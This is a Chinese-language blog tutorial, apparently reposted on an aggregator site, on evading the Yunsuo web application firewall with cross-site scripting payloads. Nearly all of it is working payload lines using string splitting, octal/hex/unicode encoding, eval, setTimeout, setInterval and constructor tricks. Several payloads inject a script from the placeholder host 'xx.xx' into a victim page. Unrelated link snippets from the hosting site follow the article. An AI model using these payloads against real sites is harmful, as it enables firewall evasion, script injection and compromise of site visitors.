XSS Payload绕过云锁学习

2023-10-31

前言

对于我这个菜鸟来说,我通过谷歌百度学习到很多前辈的资料,甚至每句话都是他的指导,我也很感激前辈的为我们铺设的道路,让我们更快的成长起来。我也乐于分享,可能有些知识点过于单调或者久远,请见谅。

WAF


前几天花了10买了一个月的服务器,换个WAF来测试。 

Bypass

遗漏标签就不测试了,上一篇水文[https://www.anquanke.com/post/id/176185]的分享的标签也可以过,不信找几个试试= =

好吧非常打脸,拦截了。

然而换个prompt()函数???免费版当然是这样的啦,高级服务不仅我买不起,还绕不过啊,而且我不是真正的站长,规则我也不会设啊,总之就是这也不会那也不会。

 

Top属性类似的补充


还记得上篇的top属性嘛

实际上可以利用的还有好几个,看到这里各位是否get到什么了。

我们可以利用的类似拼接的对象又多了几个,例如:

//一家人就是要整整齐齐
<details open οntοggle=top['al'%2B'ert'](1) >
<details open οntοggle=self['al'%2B'ert'](1) >
<details open οntοggle=parent['al'%2B'ert'](1) >
<details open οntοggle=frames['al'%2B'ert'](1) >
<details open οntοggle=content['al'%2B'ert'](1) >
<details open οntοggle=window['al'%2B'ert'](1) >

这些都可以绕过waf,总结起来有 top self parent frames content window,无疑top是最短的,所谓短小精悍,这里借用PKAV的一张ppt。

 

其他补充

除了拆分构造,我们必须要了解还有编码,这个确实是老生常谈的话题,先看个例子吧

将e字母url编码,成功弹窗也绕过waf。 <details open ontoggle=top['al%65rt'](1) > 

其他编码

JS8编码:
<details open οntοggle=top['al\145rt'](1) >
<details open οntοggle=top['\141\154\145\162\164'](1) >
JS16编码:
<details open οntοggle=top['al\x65rt'](1) >
其他
<details open οntοggle=top[/al/.source%2B/ert/.source](1) >

parseInt()与toString()


parseInt()

例子: alert字符串用parseInt函数,以基数为30转化后为8680439

toString()

例子: toString函数将返回的数字8680439,以基数为30还原

这样你就能理解下面这个例子了。

<details open οntοggle=top[8680439..toString(30)](1); >
<details open οntοggle=top[11189117..toString(32)](1); >

俩个例子


例1

<img src=1 alt=al lang=ert οnerrοr=top[alt%2blang](0)>

这个例子很巧妙,将altlang属性分别赋值合并起来就是alert,并在top属性内将2个属性相加。

例2

 <details open οntοggle=top[a='al',b='ev',b%2ba]('alert(1)')>

在top属性内添加2个变量,并赋值构造eval,然后执行alert(1)

测试下,拦截了。 

其实waf拦截的是alert这个关键字,换个prompt()函数就过了

也可以选择将alert(1)编码,因为有eval存在啊,直接拿来用

<details open οntοggle=top[a='al',b='ev',b%2ba](atob('YWxlcnQoMSk='))>
<details open οntοggle=top[a='al',b='ev',b%2ba]('\141\154\145\162\164\50\61\51')>
<details open οntοggle=top[a='al',b='ev',b%2ba]('\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029')>

setTimeout()函数也是没问题的,毕竟也能执行代码。

<details open οntοggle=top[a='meout',b='setTi',b%2ba]('\141\154\145\162\164\50\61\51')>

eval函数的补充


setTimeout

WAF拦截

<svg/οnlοad=setTimeout`alert(1)`>

编码下,就绕过了。

<svg/οnlοad=setTimeout`alert\u0028233\u0029`>

setInterval

setInterval不同,对于setTimeout()只执行code一次。

<svg/onload=setInterval('al'%2b'ert(1)')>

绕过waf,引用外部js。

<svg/οnlοad=setInterval(appendChild(createElement('script')).src='http://xx.xx/eeW')>

其他

拆分与编码
<svg/οnlοad=\u0073etInterval(appendChild(createElement('script')).src='http://xx.xx/eeW')>
<svg/οnlοad=\u0073etInterval(appendChild(createElement('sc\162ipt')).src='http://xx.xx/eeW')>
<svg/οnlοad=\u0073etInterval(appendChild(createElement('scr'%2b'ipt')).src='http://xx.xx/eeW')>
<svg/οnlοad=\u0073etInterval(\u0061ppendChild(\u0063reateElement('scr'%2b'ipt')).src='http://xx.xx/eeW')>
 
结合函数:
<iframe οnlοad=s=createElement('script');body.appendChild(s);s.src=['http','://','xx.xx','/eeW'].join('') >
<svg/οnlοad=s=createElement('script');body.appendChild(s);s.src=['http']%2B['://']%2B['xx.xx']%2B['/eeW'].join('') >
<svg/οnlοad=s=\u0063reateElement('scr'%2b'ipt');\u0062ody.\u0061ppendChild(s);s.src='http://x'.concat('x.xx/','eeW'); >

扩展


关于运用基于DOM的方法创建和插入节点把外部JS文件注入到网页,这种方法在<<XSS跨站脚本剖析与防御>>有介绍过。我这里简单演示下,如果你了解或者不感兴趣可以跳过这段。

首先用createElement方法创建一个script标签。

接下来给<script>的src属性设置成外部url

可以看到<script>标签以及src属性已经被创建出来,但是并不在页面上输出啊。

我们就要用到appendChild()方法将变量s插入页面。

再来看看页面上

constructor属性

少年!Post到什么了没有。

又是拆分。。注意后面的()

<svg/οnlοad=Set.constructor('al'%2b'ert(1)')()>

反引号我看行。。注意后面2个反引号。

<svg/οnlοad=Set.constructor`al\x65rt\x28/xss/\x29```>

又来引用外部url。编码拆分以及结合函数,请参考上章= =,不然我怕有人说我水。。。

 

<svg/οnlοad=Set.constructor(appendChild(createElement('script')).src='http://xx.xx/eeW')()>

补充(又是补充,你**就不能一次讲完嘛!写个文章还划水!)


咳咳,该补充的还是要补充的,除了 Set 对象还有嘛?当然有的。

 

看些例子,都可以弹窗。

来个简单拆分。

总结起来就是Set.constructor Map.constructor clear.constructor Array.constructor WeakSet.constructor WeakMap.constructor(注意区分大小写的)

<svg/onload=Set.constructor`al\x65rt\x28/xss/\x29```>
<svg/onload=Map.constructor`al\x65rt\x28/xss/\x29```>
<svg/onload=clear.constructor`al\x65rt\x28/xss/\x29```>
<svg/onload=Array.constructor`al\x65rt\x28/xss/\x29```>
<svg/onload=WeakSet.constructor`al\x65rt\x28/xss/\x29```>

引用外部...

 

感兴趣的同学可以关注:https://github.com/S9MF/Xss_Test/blob/master/waf/YunSuo.md

参考致谢

http://www.vulnerability-lab.com/resources/documents/531.txt

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection

 

推荐阅读:

https://github.com/S9MF/Xss_Test/

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

XSS Payload绕过云锁学习 的相关文章

随机推荐

  • Qt 菜单栏QMenu、下拉菜单QAction、工具栏QToolBar的使用

    如下内容是实现一个菜单栏以及下拉菜单的制作 在mainwindow h中添加如下内容 1 class QAction 2 class QMenu 在pro中添加QT widgets QMenu类作为菜单栏 QAction类作为点击菜单栏的下
  • CTF 隐写工具Steghide

    Steghide 是一个可以将文件隐写到图片或者音频得工具 Steghide支持以下图像格式 JPEG BMP WAV AU文件 apt get install steghide 使用查看帮助文件 steghide help steghid
  • 谷粒商城2-环境安装

    谷粒商城2 环境安装 一 安装VirtualBox 1 官网下载 https www virtualbox org wiki Downloads 2 开启CPU虚拟化 3 下载vagrant安装虚拟机镜像 https www vagrant
  • Y9000X 2022 i7-12700H+3060 安装ubuntu18.04.6+问题记录

    Y9000X 2022 i7 12700H 3060 安装ubuntu18 04 6 问题记录 前言 1 Ubuntu18 04 安装 1 1 官网下载Ubuntu18 04 6 镜像 1 2 U盘启动盘制作 1 3 系统安装 2 问题总结
  • VC ini配置文件常用操作

    A 读写ini文件 ini文件 即Initialization file 这种类型的文件中通常存放的是一个程序的初始化信息 ini文件由若干个节 Section 组成 每个Section由若干键 Key 组成 每个Key可以赋相应的值 读写
  • Dynamics CRM2013/2015 检索实体属性的两种方式

    昨天有朋友问起如何查询一个字段属性是否存在于某个实体中 一般这个问题我们会采取最直观的查询方式即MetadataBrowser 该工具是一个zip解决方案包在SDK中的如下目录内 SDK Tools MetadataBrowser 解决方案
  • 【kubernetes】kubeadm安装多master节点的k8s集群

    1 概述 K8s主要分为master节点 控制节点 和node节点 运行容器pod master节点中有apiserver controller manager scheduler和etcd几个主要组件 node节点一般有kubelet k
  • 基础算法二分查找c语言

    gt 大家有没有玩过猜数字游戏 你猜一个数就说你猜大了还是猜小了 猜正确就结束 你是怎么猜呢 不会从头到末尾一个一个猜吧 我们先找中间的数猜一次缩减一半的范围 在 1 2 3 4 5 6 7 8 9 10 查找7 和 17 1 把数据存放在
  • git基础命令行操作

    最近在用git 因为之前没什么基础所以很多时候遇到问题就求教别人 然后稍微总结一下自己踩过的小坑顺便总结一下下 一 git clone xxxx 从远程仓库把项目想在下来 git init 初始化本地仓库 二 git status 查看状态
  • 20、计算机图形学——微平面理论和Cook-Torrance BRDF

    一 微平面理论 如下图中的海面 从远处看 就像镜子一样平整 反光很强烈 但是从近处看 却能法线 海平面是有微小的凹凸不平 可以认为 海平面是由无数个微小的镜面组成 而每个微小的镜面都有法线 如果法线的分布地较为密集 如下图中上面的情况 那么
  • 高防CDN和高防IP的各自优势

    服务器配置中高防IP与高防CDN各自的优势分别是什么 为了更好地防止由于进攻造成 的网络服务器偏瘫 营运商们一般 会挑选具有 高防御服务器 来开展经营 如果是在经营全过程中遭受了进攻 不愿去拆换网络服务器得话 这个时候 就可以选用加上高仿I
  • Gravatar镜像源自建教程,使用CDN加速无需配置反代

    什么是 Gravatar Gravatar 是 Globally Recognized Avatar 的缩写 是 Gravatar 推出的一项服务 意为 全球通用头像 如果在 Gravatar 的服务器上放置了你自己的头像 那么在任何支持
  • D3DCompiler_47.dll丢失怎么解决-D3DCompiler_47.dll丢失怎么办

    d3dcompiler47dll丢失怎么解决 很多用户玩单机游戏或者安装软件的时候就出现过这种问题 如果是新手第一时间会认为是软件或游戏出错了 其实并不是这样 其主要原因就是你电脑的该dll文件没有或者损坏了 这时你只需下载这个d3dcom
  • 大数据从入门到精通(超详细版)之HDFS详解,学不会算我输!!!

    前言 嗨 各位小伙伴 恭喜大家学习到这里 不知道关于大数据前面的知识遗忘程度怎么样了 又或者是对大数据后面的知识是否感兴趣 本文是 大数据从入门到精通 超详细版 的一部分 小伙伴们如果对此感谢兴趣的话 推荐大家按照大数据学习路径开始学习哦
  • eProsima Fast DDS Documentation翻译

    eProsima Fast DDS Documentation eProsima Fast DDS 是 DDS Data Distribution Service 协议的一个C 语言实现版本 该协议由 Object Management G
  • wind matlab接口函数,使用wind量化接口函数wss时出现问题'CWSSService: repeated windcodes.'...

    我之前运行了一次程序 是可以运行的 在把MATLAB关掉一次后 再打开运行 从WIND中下载的数据中只有这一句提示 本来应该是下载某年某月末所有非ST 非停牌 上市超过六个月的A股的收盘价和PE值的 代码如下 load mydata mat
  • Python爬虫(入门+进阶)学习笔记 2-5 Scrapy的中间件

    上一节我们学习怎么去保存爬取的结果 然而大多数时候裸奔的请求很容易被网站反爬技术识别 导致并不能获取到我们想要的数据 我们该怎么做呢 中间件就可以帮你解决这些事 下载中间件 Downloader middlewares Scrapy框架中的
  • spring-jms

    为什么要在博客上总结一下 那么多优秀的博客 网站上的都很清楚 这就好比老师的板书写的再好 和你半毛钱关系没有 总结理解消化为自己的东西才有用 如果看了就能记住能懂 那人人都是专家 因此总结 归纳尤为重要 百度百科给出的 定义 JMS Jav
  • vtk vs2015 win10 64bit 编译注意事项

    记录几个凌乱的关键点 事先安装Qt 我得是5 8版本 需要官网注册之类的 1 关于Python 编译带tcl java python的 vtk 需要很多繁琐的步骤 记录整个过程太恐怖了 vtk暂时不支持python3 支持的还是python
  • XSS Payload绕过云锁学习

    前言 对于我这个菜鸟来说 我通过谷歌百度学习到很多前辈的资料 甚至每句话都是他的指导 我也很感激前辈的为我们铺设的道路 让我们更快的成长起来 我也乐于分享 可能有些知识点过于单调或者久远 请见谅 WAF 前几天花了10买了一个月的服务器 换